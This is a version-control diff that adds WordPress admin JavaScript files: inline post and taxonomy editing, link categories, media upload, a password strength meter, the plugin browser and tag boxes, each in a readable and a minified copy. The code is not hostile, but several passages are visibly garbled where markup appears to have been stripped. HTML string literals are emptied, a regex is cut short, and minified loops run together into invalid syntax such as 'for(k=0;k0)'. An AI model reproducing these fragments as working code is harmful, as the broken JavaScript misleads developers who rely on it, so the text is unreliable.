edit rows + qeRow.keyup(function(e) { if(e.which == 27) return inlineEditPost.revert(); }); + bulkRow.keyup(function(e) { if (e.which == 27) return inlineEditPost.revert(); }); + + $('a.cancel', qeRow).click(function() { return inlineEditPost.revert(); }); + $('a.save', qeRow).click(function() { return inlineEditPost.save(this); }); + $('td', qeRow).keydown(function(e) { if ( e.which == 13 ) return inlineEditPost.save(this); }); + + $('a.cancel', bulkRow).click(function() { return inlineEditPost.revert(); }); + + $('#inline-edit .inline-edit-private input[value=private]').click( function(){ + var pw = $('input.inline-edit-password-input'); + if ( $(this).attr('checked') ) { + pw.val('').attr('disabled', 'disabled'); + } else { + pw.attr('disabled', ''); + } + }); + + // add events + $('a.editinline').live('click', function() { inlineEditPost.edit(this); return false; }); + + $('#bulk-title-div').parents('fieldset').after( + $('#inline-edit fieldset.inline-edit-categories').clone() + ).siblings( 'fieldset:last' ).prepend( + $('#inline-edit label.inline-edit-tags').clone() + ); + + // categories expandable? + $('span.catshow').click(function() { + $('.inline-editor ul.cat-checklist').addClass("cat-hover"); + $('.inline-editor span.cathide').show(); + $(this).hide(); + }); + + $('span.cathide').click(function() { + $('.inline-editor ul.cat-checklist').removeClass("cat-hover"); + $('.inline-editor span.catshow').show(); + $(this).hide(); + }); + + $('select[name="_status"] option[value="future"]', bulkRow).remove(); + + $('#doaction, #doaction2').click(function(e){ + var n = $(this).attr('id').substr(2); + if ( $('select[name="'+n+'"]').val() == 'edit' ) { + e.preventDefault(); + t.setBulk(); + } else if ( $('form#posts-filter tr.inline-editor').length > 0 ) { + t.revert(); + } + }); + + $('#post-query-submit').click(function(e){ + if ( $('form#posts-filter tr.inline-editor').length > 0 ) + t.revert(); + }); + + }, + + toggle : function(el) { + var t = this; + $(t.what+t.getId(el)).css('display') == 'none' ? t.revert() : t.edit(el); + }, + + setBulk : function() { + var te = '', type = this.type, tax, c = true; + this.revert(); + + $('#bulk-edit td').attr('colspan', $('.widefat:first thead th:visible').length); + $('table.widefat tbody').prepend( $('#bulk-edit') ); + $('#bulk-edit').addClass('inline-editor').show(); + + $('tbody th.check-column input[type="checkbox"]').each(function(i){ + if ( $(this).attr('checked') ) { + c = false; + var id = $(this).val(), theTitle; + theTitle = $('#inline_'+id+' .post_title').text() || inlineEditL10n.notitle; + te += '
    X'+theTitle+'
    '; + } + }); + + if ( c ) + return this.revert(); + + $('#bulk-titles').html(te); + $('#bulk-titles a').click(function() { + var id = $(this).attr('id').substr(1); + + $('table.widefat input[value="'+id+'"]').attr('checked', ''); + $('#ttle'+id).remove(); + }); + + // enable autocomplete for tags + if ( type == 'post' ) { + // support multi taxonomies? + tax = 'post_tag'; + $('tr.inline-editor textarea[name="tags_input"]').suggest( 'admin-ajax.php?action=ajax-tag-search&tax='+tax, { delay: 500, minchars: 2, multiple: true, multipleSep: ", " } ); + } + }, + + edit : function(id) { + var t = this, fields, editRow, rowData, cats, status, pageOpt, f, pageLevel, nextPage, pageLoop = true, nextLevel, tax; + t.revert(); + + if ( typeof(id) == 'object' ) + id = t.getId(id); + + fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password']; + if ( t.type == 'page' ) fields.push('post_parent', 'menu_order', 'page_template'); + if ( t.type == 'post' ) fields.push('tags_input'); + + // add the new blank row + editRow = $('#inline-edit').clone(true); + $('td', editRow).attr('colspan', $('.widefat:first thead th:visible').length); + + if ( $(t.what+id).hasClass('alternate') ) + $(editRow).addClass('alternate'); + $(t.what+id).hide().after(editRow); + + // populate the data + rowData = $('#inline_'+id); + if ( !$(':input[name="post_author"] option[value=' + $('.post_author', rowData).text() + ']', editRow).val() ) { + // author no longer has edit caps, so we need to add them to the list of authors + $(':input[name="post_author"]', editRow).prepend(''); + } + + for ( f = 0; f < fields.length; f++ ) { + $(':input[name="'+fields[f]+'"]', editRow).val( $('.'+fields[f], rowData).text() ); + } + + if ( $('.comment_status', rowData).text() == 'open' ) + $('input[name="comment_status"]', editRow).attr("checked", "checked"); + if ( $('.ping_status', rowData).text() == 'open' ) + $('input[name="ping_status"]', editRow).attr("checked", "checked"); + if ( $('.sticky', rowData).text() == 'sticky' ) + $('input[name="sticky"]', editRow).attr("checked", "checked"); + + // categories + if ( cats = $('.post_category', rowData).text() ) + $('ul.cat-checklist :checkbox', editRow).val(cats.split(',')); + + // handle the post status + status = $('._status', rowData).text(); + if ( status != 'future' ) $('select[name="_status"] option[value="future"]', editRow).remove(); + if ( status == 'private' ) { + $('input[name="keep_private"]', editRow).attr("checked", "checked"); + $('input.inline-edit-password-input').val('').attr('disabled', 'disabled'); + } + + // remove the current page and children from the parent dropdown + pageOpt = $('select[name="post_parent"] option[value="'+id+'"]', editRow); + if ( pageOpt.length > 0 ) { + pageLevel = pageOpt[0].className.split('-')[1]; + nextPage = pageOpt; + while ( pageLoop ) { + nextPage = nextPage.next('option'); + if (nextPage.length == 0) break; + nextLevel = nextPage[0].className.split('-')[1]; + if ( nextLevel <= pageLevel ) { + pageLoop = false; + } else { + nextPage.remove(); + nextPage = pageOpt; + } + } + pageOpt.remove(); + } + + $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show(); + $('.ptitle', editRow).focus(); + + // enable autocomplete for tags + if ( t.type == 'post' ) { + tax = 'post_tag'; + $('tr.inline-editor textarea[name="tags_input"]').suggest( 'admin-ajax.php?action=ajax-tag-search&tax='+tax, { delay: 500, minchars: 2, multiple: true, multipleSep: ", " } ); + } + + return false; + }, + + save : function(id) { + var params, fields, page = $('.post_status_page').val() || ''; + + if( typeof(id) == 'object' ) + id = this.getId(id); + + $('table.widefat .inline-edit-save .waiting').show(); + + params = { + action: 'inline-save', + post_type: this.type, + post_ID: id, + edit_date: 'true', + post_status: page + }; + + fields = $('#edit-'+id+' :input').serialize(); + params = fields + '&' + $.param(params); + + // make ajax request + $.post('admin-ajax.php', params, + function(r) { + $('table.widefat .inline-edit-save .waiting').hide(); + + if (r) { + if ( -1 != r.indexOf(']*?>/g, '' ); + $('#edit-'+id+' .inline-edit-save').append(''+r+''); + } + } else { + $('#edit-'+id+' .inline-edit-save').append(''+inlineEditL10n.error+''); + } + } + , 'html'); + return false; + }, + + revert : function() { + var id; + + if ( id = $('table.widefat tr.inline-editor').attr('id') ) { + $('table.widefat .inline-edit-save .waiting').hide(); + + if ( 'bulk-edit' == id ) { + $('table.widefat #bulk-edit').removeClass('inline-editor').hide(); + $('#bulk-titles').html(''); + $('#inlineedit').append( $('#bulk-edit') ); + } else { + $('#'+id).remove(); + id = id.substr( id.lastIndexOf('-') + 1 ); + $(this.what+id).show(); + } + } + + return false; + }, + + getId : function(o) { + var id = o.tagName == 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-'); + return parts[parts.length - 1]; + } +}; + +$(document).ready(function(){inlineEditPost.init();}); +})(jQuery); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/inline-edit-post.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/inline-edit-post.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(a){inlineEditPost={init:function(){var c=this,d=a("#inline-edit"),b=a("#bulk-edit");c.type=a("table.widefat").hasClass("page")?"page":"post";c.what="#"+c.type+"-";d.keyup(function(f){if(f.which==27){return inlineEditPost.revert()}});b.keyup(function(f){if(f.which==27){return inlineEditPost.revert()}});a("a.cancel",d).click(function(){return inlineEditPost.revert()});a("a.save",d).click(function(){return inlineEditPost.save(this)});a("td",d).keydown(function(f){if(f.which==13){return inlineEditPost.save(this)}});a("a.cancel",b).click(function(){return inlineEditPost.revert()});a("#inline-edit .inline-edit-private input[value=private]").click(function(){var e=a("input.inline-edit-password-input");if(a(this).attr("checked")){e.val("").attr("disabled","disabled")}else{e.attr("disabled","")}});a("a.editinline").live("click",function(){inlineEditPost.edit(this);return false});a("#bulk-title-div").parents("fieldset").after(a("#inline-edit fieldset.inline-edit-categories").clone()).siblings("fieldset:last").prepend(a("#inline-edit label.inline-edit-tags").clone());a("span.catshow").click(function(){a(".inline-editor ul.cat-checklist").addClass("cat-hover");a(".inline-editor span.cathide").show();a(this).hide()});a("span.cathide").click(function(){a(".inline-editor ul.cat-checklist").removeClass("cat-hover");a(".inline-editor span.catshow").show();a(this).hide()});a('select[name="_status"] option[value="future"]',b).remove();a("#doaction, #doaction2").click(function(f){var g=a(this).attr("id").substr(2);if(a('select[name="'+g+'"]').val()=="edit"){f.preventDefault();c.setBulk()}else{if(a("form#posts-filter tr.inline-editor").length>0){c.revert()}}});a("#post-query-submit").click(function(f){if(a("form#posts-filter tr.inline-editor").length>0){c.revert()}})},toggle:function(c){var b=this;a(b.what+b.getId(c)).css("display")=="none"?b.revert():b.edit(c)},setBulk:function(){var e="",d=this.type,b,f=true;this.revert();a("#bulk-edit td").attr("colspan",a(".widefat:first thead th:visible").length);a("table.widefat tbody").prepend(a("#bulk-edit"));a("#bulk-edit").addClass("inline-editor").show();a('tbody th.check-column input[type="checkbox"]').each(function(g){if(a(this).attr("checked")){f=false;var h=a(this).val(),c;c=a("#inline_"+h+" .post_title").text()||inlineEditL10n.notitle;e+='
    X'+c+"
    "}});if(f){return this.revert()}a("#bulk-titles").html(e);a("#bulk-titles a").click(function(){var c=a(this).attr("id").substr(1);a('table.widefat input[value="'+c+'"]').attr("checked","");a("#ttle"+c).remove()});if(d=="post"){b="post_tag";a('tr.inline-editor textarea[name="tags_input"]').suggest("admin-ajax.php?action=ajax-tag-search&tax="+b,{delay:500,minchars:2,multiple:true,multipleSep:", "})}},edit:function(b){var o=this,j,d,g,n,i,h,k,m,l,c=true,p,e;o.revert();if(typeof(b)=="object"){b=o.getId(b)}j=["post_title","post_name","post_author","_status","jj","mm","aa","hh","mn","ss","post_password"];if(o.type=="page"){j.push("post_parent","menu_order","page_template")}if(o.type=="post"){j.push("tags_input")}d=a("#inline-edit").clone(true);a("td",d).attr("colspan",a(".widefat:first thead th:visible").length);if(a(o.what+b).hasClass("alternate")){a(d).addClass("alternate")}a(o.what+b).hide().after(d);g=a("#inline_"+b);if(!a(':input[name="post_author"] option[value='+a(".post_author",g).text()+"]",d).val()){a(':input[name="post_author"]',d).prepend('")}for(k=0;k0){m=h[0].className.split("-")[1];l=h;while(c){l=l.next("option");if(l.length==0){break}p=l[0].className.split("-")[1];if(p<=m){c=false}else{l.remove();l=h}}h.remove()}a(d).attr("id","edit-"+b).addClass("inline-editor").show();a(".ptitle",d).focus();if(o.type=="post"){e="post_tag";a('tr.inline-editor textarea[name="tags_input"]').suggest("admin-ajax.php?action=ajax-tag-search&tax="+e,{delay:500,minchars:2,multiple:true,multipleSep:", "})}return false},save:function(e){var d,b,c=a(".post_status_page").val()||"";if(typeof(e)=="object"){e=this.getId(e)}a("table.widefat .inline-edit-save .waiting").show();d={action:"inline-save",post_type:this.type,post_ID:e,edit_date:"true",post_status:c};b=a("#edit-"+e+" :input").serialize();d=b+"&"+a.param(d);a.post("admin-ajax.php",d,function(f){a("table.widefat .inline-edit-save .waiting").hide();if(f){if(-1!=f.indexOf("]*?>/g,"");a("#edit-"+e+" .inline-edit-save").append(''+f+"")}}else{a("#edit-"+e+" .inline-edit-save").append(''+inlineEditL10n.error+"")}},"html");return false},revert:function(){var b;if(b=a("table.widefat tr.inline-editor").attr("id")){a("table.widefat .inline-edit-save .waiting").hide();if("bulk-edit"==b){a("table.widefat #bulk-edit").removeClass("inline-editor").hide();a("#bulk-titles").html("");a("#inlineedit").append(a("#bulk-edit"))}else{a("#"+b).remove();b=b.substr(b.lastIndexOf("-")+1);a(this.what+b).show()}}return false},getId:function(c){var d=c.tagName=="TR"?c.id:a(c).parents("tr").attr("id"),b=d.split("-");return b[b.length-1]}};a(document).ready(function(){inlineEditPost.init()})})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/inline-edit-tax.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/inline-edit-tax.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ + +(function($) { +inlineEditTax = { + + init : function() { + var t = this, row = $('#inline-edit'); + + t.type = $('#the-list').attr('className').substr(5); + t.what = '#'+t.type+'-'; + + $('.editinline').live('click', function(){ + inlineEditTax.edit(this); + return false; + }); + + // prepare the edit row + row.keyup(function(e) { if(e.which == 27) return inlineEditTax.revert(); }); + + $('a.cancel', row).click(function() { return inlineEditTax.revert(); }); + $('a.save', row).click(function() { return inlineEditTax.save(this); }); + $('input, select', row).keydown(function(e) { if(e.which == 13) return inlineEditTax.save(this); }); + + $('#posts-filter input[type="submit"]').click(function(e){ + if ( $('form#posts-filter tr.inline-editor').length > 0 ) + t.revert(); + }); + }, + + toggle : function(el) { + var t = this; + $(t.what+t.getId(el)).css('display') == 'none' ? t.revert() : t.edit(el); + }, + + edit : function(id) { + var t = this, editRow; + t.revert(); + + if ( typeof(id) == 'object' ) + id = t.getId(id); + + editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id); + $('td', editRow).attr('colspan', $('.widefat:first thead th:visible').length); + + if ( $(t.what+id).hasClass('alternate') ) + $(editRow).addClass('alternate'); + + $(t.what+id).hide().after(editRow); + + $(':input[name="name"]', editRow).val( $('.name', rowData).text() ); + $(':input[name="slug"]', editRow).val( $('.slug', rowData).text() ); + + $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show(); + $('.ptitle', editRow).eq(0).focus(); + + return false; + }, + + save : function(id) { + var params, fields, tax = $('input[name="taxonomy"]').val() || ''; + + if( typeof(id) == 'object' ) + id = this.getId(id); + + $('table.widefat .inline-edit-save .waiting').show(); + + params = { + action: 'inline-save-tax', + tax_type: this.type, + tax_ID: id, + taxonomy: tax + }; + + fields = $('#edit-'+id+' :input').serialize(); + params = fields + '&' + $.param(params); + + // make ajax request + $.post('admin-ajax.php', params, + function(r) { + var row, new_id; + $('table.widefat .inline-edit-save .waiting').hide(); + + if (r) { + if ( -1 != r.indexOf('0){b.revert()}})},toggle:function(c){var b=this;a(b.what+b.getId(c)).css("display")=="none"?b.revert():b.edit(c)},edit:function(d){var c=this,b;c.revert();if(typeof(d)=="object"){d=c.getId(d)}b=a("#inline-edit").clone(true),rowData=a("#inline_"+d);a("td",b).attr("colspan",a(".widefat:first thead th:visible").length);if(a(c.what+d).hasClass("alternate")){a(b).addClass("alternate")}a(c.what+d).hide().after(b);a(':input[name="name"]',b).val(a(".name",rowData).text());a(':input[name="slug"]',b).val(a(".slug",rowData).text());a(b).attr("id","edit-"+d).addClass("inline-editor").show();a(".ptitle",b).eq(0).focus();return false},save:function(e){var d,b,c=a('input[name="taxonomy"]').val()||"";if(typeof(e)=="object"){e=this.getId(e)}a("table.widefat .inline-edit-save .waiting").show();d={action:"inline-save-tax",tax_type:this.type,tax_ID:e,taxonomy:c};b=a("#edit-"+e+" :input").serialize();d=b+"&"+a.param(d);a.post("admin-ajax.php",d,function(g){var h,f;a("table.widefat .inline-edit-save .waiting").hide();if(g){if(-1!=g.indexOf("' ).text( name ); + } ); + } ); + }; + + $('#categorychecklist').wpList( { + alt: '', + what: 'link-category', + response: 'category-ajax-response', + addAfter: catAddAfter + } ); + + $('a[href="#categories-all"]').click(function(){deleteUserSetting('cats');}); + $('a[href="#categories-pop"]').click(function(){setUserSetting('cats','pop');}); + if ( 'pop' == getUserSetting('cats') ) + $('a[href="#categories-pop"]').click(); + + $('#category-add-toggle').click( function() { + $(this).parents('div:first').toggleClass( 'wp-hidden-children' ); + $('#category-tabs a[href="#categories-all"]').click(); + return false; + } ); + + $('.categorychecklist :checkbox').change( syncChecks ).filter( ':checked' ).change(); +}); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/link.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/link.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +jQuery(document).ready(function(c){var b,a=false,d,e;c("#link_name").focus();postboxes.add_postbox_toggles("link");c("#category-tabs a").click(function(){var f=c(this).attr("href");c(this).parent().addClass("tabs").siblings("li").removeClass("tabs");c(".tabs-panel").hide();c(f).show();if("#categories-all"==f){deleteUserSetting("cats")}else{setUserSetting("cats","pop")}return false});if(getUserSetting("cats")){c('#category-tabs a[href="#categories-pop"]').click()}b=c("#newcat").one("focus",function(){c(this).val("").removeClass("form-input-tip")});c("#category-add-submit").click(function(){b.focus()});d=function(){if(a){return}a=true;var f=c(this),h=f.is(":checked"),g=f.val().toString();c("#in-link-category-"+g+", #in-popular-category-"+g).attr("checked",h);a=false};e=function(g,f){c(f.what+" response_data",g).each(function(){var h=c(c(this).text());h.find("label").each(function(){var j=c(this),l=j.find("input").val(),m=j.find("input")[0].id,i=c.trim(j.text()),k;c("#"+m).change(d);k=c('').text(i)})})};c("#categorychecklist").wpList({alt:"",what:"link-category",response:"category-ajax-response",addAfter:e});c('a[href="#categories-all"]').click(function(){deleteUserSetting("cats")});c('a[href="#categories-pop"]').click(function(){setUserSetting("cats","pop")});if("pop"==getUserSetting("cats")){c('a[href="#categories-pop"]').click()}c("#category-add-toggle").click(function(){c(this).parents("div:first").toggleClass("wp-hidden-children");c('#category-tabs a[href="#categories-all"]').click();return false});c(".categorychecklist :checkbox").change(d).filter(":checked").change()}); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/media-upload.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/media-upload.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,66 @@ +// send html to the post editor +function send_to_editor(h) { + var ed; + + if ( typeof tinyMCE != 'undefined' && ( ed = tinyMCE.activeEditor ) && !ed.isHidden() ) { + ed.focus(); + if ( tinymce.isIE ) + ed.selection.moveToBookmark(tinymce.EditorManager.activeEditor.windowManager.bookmark); + + if ( h.indexOf('[caption') === 0 ) { + if ( ed.plugins.wpeditimage ) + h = ed.plugins.wpeditimage._do_shcode(h); + } else if ( h.indexOf('[gallery') === 0 ) { + if ( ed.plugins.wpgallery ) + h = ed.plugins.wpgallery._do_gallery(h); + } else if ( h.indexOf('[embed') === 0 ) { + if ( ed.plugins.wordpress ) + h = ed.plugins.wordpress._setEmbed(h); + } + + ed.execCommand('mceInsertContent', false, h); + + } else if ( typeof edInsertContent == 'function' ) { + edInsertContent(edCanvas, h); + } else { + jQuery( edCanvas ).val( jQuery( edCanvas ).val() + h ); + } + + tb_remove(); +} + +// thickbox settings +var tb_position; +(function($) { + tb_position = function() { + var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 720 < width ) ? 720 : width; + + if ( tbWindow.size() ) { + tbWindow.width( W - 50 ).height( H - 45 ); + $('#TB_iframeContent').width( W - 50 ).height( H - 75 ); + tbWindow.css({'margin-left': '-' + parseInt((( W - 50 ) / 2),10) + 'px'}); + if ( typeof document.body.style.maxWidth != 'undefined' ) + tbWindow.css({'top':'20px','margin-top':'0'}); + }; + + return $('a.thickbox').each( function() { + var href = $(this).attr('href'); + if ( ! href ) return; + href = href.replace(/&width=[0-9]+/g, ''); + href = href.replace(/&height=[0-9]+/g, ''); + $(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 ) ); + }); + }; + + $(window).resize(function(){ tb_position(); }); + +})(jQuery); + +jQuery(document).ready(function($){ + $('a.thickbox').click(function(){ + if ( typeof tinyMCE != 'undefined' && tinyMCE.activeEditor ) { + tinyMCE.get('content').focus(); + tinyMCE.activeEditor.windowManager.bookmark = tinyMCE.activeEditor.selection.getBookmark('simple'); + } + }); +}); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/media-upload.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/media-upload.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +function send_to_editor(b){var a;if(typeof tinyMCE!="undefined"&&(a=tinyMCE.activeEditor)&&!a.isHidden()){a.focus();if(tinymce.isIE){a.selection.moveToBookmark(tinymce.EditorManager.activeEditor.windowManager.bookmark)}if(b.indexOf("[caption")===0){if(a.plugins.wpeditimage){b=a.plugins.wpeditimage._do_shcode(b)}}else{if(b.indexOf("[gallery")===0){if(a.plugins.wpgallery){b=a.plugins.wpgallery._do_gallery(b)}}else{if(b.indexOf("[embed")===0){if(a.plugins.wordpress){b=a.plugins.wordpress._setEmbed(b)}}}}a.execCommand("mceInsertContent",false,b)}else{if(typeof edInsertContent=="function"){edInsertContent(edCanvas,b)}else{jQuery(edCanvas).val(jQuery(edCanvas).val()+b)}}tb_remove()}var tb_position;(function(a){tb_position=function(){var e=a("#TB_window"),d=a(window).width(),c=a(window).height(),b=(720]*?>/g, '' ); + } + if ( er ) { + $('#find-posts-response').html(er); + } + } + }; + + $(document).ready(function() { + $('#find-posts-submit').click(function(e) { + if ( '' == $('#find-posts-response').html() ) + e.preventDefault(); + }); + $('#doaction, #doaction2').click(function(e){ + $('select[name^="action"]').each(function(){ + if ( $(this).val() == 'attach' ) { + e.preventDefault(); + findPosts.open(); + } + }); + }); + }); +})(jQuery); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/media.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/media.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var findPosts;(function(a){findPosts={open:function(d,c){var b=document.documentElement.scrollTop||a(document).scrollTop();if(d&&c){a("#affected").attr("name",d).val(c)}a("#find-posts").show().draggable({handle:"#find-posts-head"}).css({top:b+50+"px",left:"50%",marginLeft:"-250px"});a("#find-posts-input").focus().keyup(function(f){if(f.which==27){findPosts.close()}});return false},close:function(){a("#find-posts-response").html("");a("#find-posts").draggable("destroy").hide()},send:function(){var b={ps:a("#find-posts-input").val(),action:"find_posts",_ajax_nonce:a("#_ajax_nonce").val()};if(a("#find-posts-pages").is(":checked")){b.pages=1}else{b.posts=1}a.ajax({type:"POST",url:ajaxurl,data:b,success:function(c){findPosts.show(c)},error:function(c){findPosts.error(c)}})},show:function(b){if(typeof(b)=="string"){this.error({responseText:b});return}var c=wpAjax.parseAjaxResponse(b);if(c.errors){this.error({responseText:wpAjax.broken})}c=c.responses[0];a("#find-posts-response").html(c.data)},error:function(b){var c=b.statusText;if(b.responseText){c=b.responseText.replace(/<.[^<>]*?>/g,"")}if(c){a("#find-posts-response").html(c)}}};a(document).ready(function(){a("#find-posts-submit").click(function(b){if(""==a("#find-posts-response").html()){b.preventDefault()}});a("#doaction, #doaction2").click(function(b){a('select[name^="action"]').each(function(){if(a(this).val()=="attach"){b.preventDefault();findPosts.open()}})})})})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/password-strength-meter.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/password-strength-meter.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,21 @@ +// Password strength meter +function passwordStrength(password,username) { + var shortPass = 1, badPass = 2, goodPass = 3, strongPass = 4, symbolSize = 0, natLog, score; + + //password < 4 + if (password.length < 4 ) { return shortPass }; + + //password == username + if (password.toLowerCase()==username.toLowerCase()) return badPass; + + if (password.match(/[0-9]/)) symbolSize +=10; + if (password.match(/[a-z]/)) symbolSize +=26; + if (password.match(/[A-Z]/)) symbolSize +=26; + if (password.match(/[^a-zA-Z0-9]/)) symbolSize +=31; + + natLog = Math.log( Math.pow(symbolSize,password.length) ); + score = natLog / Math.LN2; + if (score < 40 ) return badPass + if (score < 56 ) return goodPass + return strongPass; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/password-strength-meter.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/password-strength-meter.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +function passwordStrength(i,f){var h=1,e=2,b=3,a=4,d=0,g,c;if(i.length<4){return h}if(i.toLowerCase()==f.toLowerCase()){return e}if(i.match(/[0-9]/)){d+=10}if(i.match(/[a-z]/)){d+=26}if(i.match(/[A-Z]/)){d+=26}if(i.match(/[^a-zA-Z0-9]/)){d+=31}g=Math.log(Math.pow(d,i.length));c=g/Math.LN2;if(c<40){return e}if(c<56){return b}return a}; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/plugin-install.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/plugin-install.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,41 @@ +/* Plugin Browser Thickbox related JS*/ +jQuery(document).ready(function($) { + var thickDims = function() { + var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 720 < width ) ? 720 : width; + + if ( tbWindow.size() ) { + tbWindow.width( W - 50 ).height( H - 45 ); + $('#TB_iframeContent').width( W - 50 ).height( H - 75 ); + tbWindow.css({'margin-left': '-' + parseInt((( W - 50 ) / 2),10) + 'px'}); + if ( ! ( $.browser.msie && $.browser.version.substr(0,1) < 7 ) ) + tbWindow.css({'top':'20px','margin-top':'0'}); + }; + + return $('#dashboard_plugins a.thickbox, .plugins a.thickbox').each( function() { + var href = $(this).attr('href'); + if ( ! href ) + return; + href = href.replace(/&width=[0-9]+/g, ''); + href = href.replace(/&height=[0-9]+/g, ''); + $(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 ) ); + }); + }; + + thickDims().click( function() { + $('#TB_title').css({'background-color':'#222','color':'#cfcfcf'}); + $('#TB_ajaxWindowTitle').html('' + plugininstallL10n.plugin_information + ' ' + $(this).attr('title') ); + return false; + }); + + /* Plugin install related JS*/ + $('#plugin-information #sidemenu a').click( function() { + var tab = $(this).attr('name'); + //Flip the tab + $('#plugin-information-header a.current').removeClass('current'); + $(this).addClass('current'); + //Flip the content. + $('#section-holder div.section').hide(); //Hide 'em all + $('#section-' + tab).show(); + return false; + }); +}); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/plugin-install.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/plugin-install.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +jQuery(document).ready(function(b){var a=function(){var f=b("#TB_window"),e=b(window).width(),d=b(window).height(),c=(720"+plugininstallL10n.plugin_information+" "+b(this).attr("title"));return false});b("#plugin-information #sidemenu a").click(function(){var c=b(this).attr("name");b("#plugin-information-header a.current").removeClass("current");b(this).addClass("current");b("#section-holder div.section").hide();b("#section-"+c).show();return false})}); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/post.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/post.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,580 @@ +var tagBox, commentsBox, editPermalink, makeSlugeditClickable, WPSetThumbnailHTML, WPSetThumbnailID, WPRemoveThumbnail; + +// return an array with any duplicate, whitespace or values removed +function array_unique_noempty(a) { + var out = []; + jQuery.each( a, function(key, val) { + val = jQuery.trim(val); + if ( val && jQuery.inArray(val, out) == -1 ) + out.push(val); + } ); + return out; +} + +(function($){ + +tagBox = { + clean : function(tags) { + return tags.replace(/\s*,\s*/g, ',').replace(/,+/g, ',').replace(/[,\s]+$/, '').replace(/^[,\s]+/, ''); + }, + + parseTags : function(el) { + var id = el.id, num = id.split('-check-num-')[1], taxbox = $(el).closest('.tagsdiv'), thetags = taxbox.find('.the-tags'), current_tags = thetags.val().split(','), new_tags = []; + delete current_tags[num]; + + $.each( current_tags, function(key, val) { + val = $.trim(val); + if ( val ) { + new_tags.push(val); + } + }); + + thetags.val( this.clean( new_tags.join(',') ) ); + + this.quickClicks(taxbox); + return false; + }, + + quickClicks : function(el) { + var thetags = $('.the-tags', el), tagchecklist = $('.tagchecklist', el), current_tags; + + if ( !thetags.length ) + return; + + current_tags = thetags.val().split(','); + tagchecklist.empty(); + + $.each( current_tags, function( key, val ) { + var txt, button_id, id = $(el).attr('id'); + + val = $.trim(val); + if ( !val.match(/^\s+$/) && '' != val ) { + button_id = id + '-check-num-' + key; + txt = 'X ' + val + ' '; + tagchecklist.append(txt); + $( '#' + button_id ).click( function(){ tagBox.parseTags(this); }); + } + }); + }, + + flushTags : function(el, a, f) { + a = a || false; + var text, tags = $('.the-tags', el), newtag = $('input.newtag', el), newtags; + + text = a ? $(a).text() : newtag.val(); + tagsval = tags.val(); + newtags = tagsval ? tagsval + ',' + text : text; + + newtags = this.clean( newtags ); + newtags = array_unique_noempty( newtags.split(',') ).join(','); + tags.val(newtags); + this.quickClicks(el); + + if ( !a ) + newtag.val(''); + if ( 'undefined' == typeof(f) ) + newtag.focus(); + + return false; + }, + + get : function(id) { + var tax = id.substr(id.indexOf('-')+1); + + $.post(ajaxurl, {'action':'get-tagcloud','tax':tax}, function(r, stat) { + if ( 0 == r || 'success' != stat ) + r = wpAjax.broken; + + r = $('

    '+r+'

